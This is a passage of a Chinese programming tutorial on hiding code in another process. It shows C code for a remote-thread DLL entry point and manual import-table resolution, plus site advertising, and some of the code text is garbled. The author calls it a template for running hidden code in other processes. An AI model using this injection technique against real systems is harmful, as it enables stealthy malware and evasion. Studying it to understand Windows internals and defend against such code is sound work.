以上是装载器程序的全部内容,接下来介绍dll程序。前面已经说过,dll要输出一个名为“ThreadEntry”的函数作为远程线程的入口,所以我们从“ThreadEntry”开始。
extern DWORD ThreadMain(HINSTANCE hInst);
DWORD WINAPI ThreadEntry(PTHREADPARAM pParam)
DWORD dwResult = -1;
if(LoadImportFx(pParam-&pImageBase, pParam-&fnLoadLibrary, pParam-&fnGetProcAddr))
dwResult = ThreadMain((HINSTANCE)pParam-&pImageBase);
__except(EXCEPTION_EXECUTE_HANDLER)
dwResult = -2;
return dwR
整个ThreadEntry的代码被包含在一个SEH(结构化异常处理)之中,这可以避免部分由于寄生代码出错而导致宿主被系统杀死的情况。ThreadEntry首先调用LoadImportFx函数完成隐式链接dll的处理。
LoadImportFx的工作原理就是按照前面介绍的输入表的结构,使用LoadLibrary加载dll文件,然后用GetProcAddress获得输入函数的入口地址并写入相应的IMAGE_THUNK_DATA中。我在这里要说明的是:为什么远程线程能使用装载器进程中LoadLibrary和GetProcAddress的入口地址来实现对这两个函数的调用?因为按照前面的说法,我们无法保证包含这两个函数的dll已被装入,更无法保证它们的指向的正确性。其实,这里我利用了windows系统中的两个事实:一是基本上所有的windows进程都会装入“kernel32.dll”(在我的机器上,只有smss.exe例外),而这两个函数就位于“kernel32.dll”中;另一个是所有装入“kernel32.dll”的进程都会把它装入同一个内存地址,这是因为它是windows系统中最基本的dll之一。所以,我这样使用在绝大多数情况下不会有任何问题。
BOOL LoadImportFx(LPBYTE pBase, FxLoadLibrary fnLoadLibrary, FxGetProcAddr fnGetProcAddr)
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)pB
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)(pBase + pidh-&e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)
  (pBase + pinh-&OptionalHeader.DataDirectory[1].VirtualAddress);
for(; piid-&OriginalFirstThunk != 0; piid++)
HMODULE hDll = fnLoadLibrary((LPCSTR)(pBase + piid-&Name));
PIMAGE_THUNK_DATA pOrigin = (PIMAGE_THUNK_DATA)(pBase + piid-&OriginalFirstThunk);
PIMAGE_THUNK_DATA pFirst = (PIMAGE_THUNK_DATA)(pBase + piid-&FirstThunk);
LPCSTR pFxName = NULL;
PIMAGE_IMPORT_BY_NAME piibn = NULL;
for(; pOrigin-&u1.Ordinal != 0; pOrigin++, pFirst++)
if(pOrigin-&u1.Ordinal & IMAGE_ORDINAL_FLAG)
pFxName = (LPCSTR)IMAGE_ORDINAL(pOrigin-&u1.Ordinal);
       {
piibn = (PIMAGE_IMPORT_BY_NAME)(pBase + pOrigin-&u1.AddressOfData);
pFxName = (LPCSTR)piibn-&N
       }
pFirst-&u1.Function = (DWORD)fnGetProcAddr(hDll, pFxName);
return TRUE;
处理完隐式链接之后,ThreadEntry调用ThreadMain来进行完成远程线程的实际工作。可能你已经注意到ThreadMain有一个参数是HINSTANCE类型,但从ThreadEntry可知,它实际上是dll在宿主中的装入地址,为什么可以这样做呢?答案是:我不知道,你去问微软吧。不过据我观察,普通程序的任何一个模块(module)的句柄都是其装入地址,所以我也就照猫画虎了。这也解释了前面处理重定位时把文件头放入映像基址的原因―系统需要文件头信息,我必须为它准备好(虽然LoadImportFx函数也需要文件头来定位输入表,但不是根本原因,因为完全可以让它使用其他方式)。
下面是我的ThreadMain,它弹出前面提到的消息框。看到了吧?你可以像写普通程序一样写远程线程的代码,没有复杂的自定位,也没有烦人的显式链接,这个世界真美好!
本文在相当大的程度上简化了进程隐藏技术,你甚至可以把它当作一个模板,仅仅实现一个ThreadMain就可以把代码隐藏到其他进程中去为所欲为了。但这决不是笔者写作此文的目的,我希望读者只把它当作一项技术,加深自己对windows系统的理解。其实,本文对动态链接的处理还远没有达到操作系统程度,举例来说:PE文件的数据目录现在使用了15项,但本文只处理了4项:输出表,输入表,重定位表和IAT(可以看作输入表的一部分),不把所有15项都处理完,远程代码的行为就可能与正常情况不同。我希望能与各位读者共同努力,不断完善这项技术,更希望大家能够负责任的使用它,利用它更好的防治各种有害代码。
最多还可以输入100字
【VIP年会员制套餐】
【C/C++软件工程师实战能力集训大纲】
VC知识库发布了C/C++业界的“本草纲目”
【牛人都在千人一号群! 加群三步走!!!】
第一步:请必须加VC知识库QQ: 为好友;
第二步:请必须关注本站微博:
第三步:申请加入群:.(必须将关注微博截屏发到QQ方可通过!)
【最新2013:】
全部100% VC++源码提供: E-Form++全新大型SCADA & HMI解决方案源码、CAD解决方案源码、Gis解决方案源码 、电力石油化工仿真与图形建模解决方案源码、大量其他高级制图VC++源码下载!
【 新视频发布】
o o o o o o o o o o
在VC环境中除了我们所常用的Dialog、Menu和Bitmap等标准资源类型之外,它还支持自定义资源类型(Custom Resource),我们自定义的资源类型能做些什么呢?呵呵,用处多多。...
在VC环境中除了我们所常用的Dialog、Menu和Bitmap等标准资源类型之外,它还支持自定义资源类型(Custom Resource),我们自定义的资源类型能做些什么呢?呵呵,用处多多。...
本文介绍了套接字编程的基本知识。...

我要回帖

更多关于 把两张图片拼在一起 的文章

 

随机推荐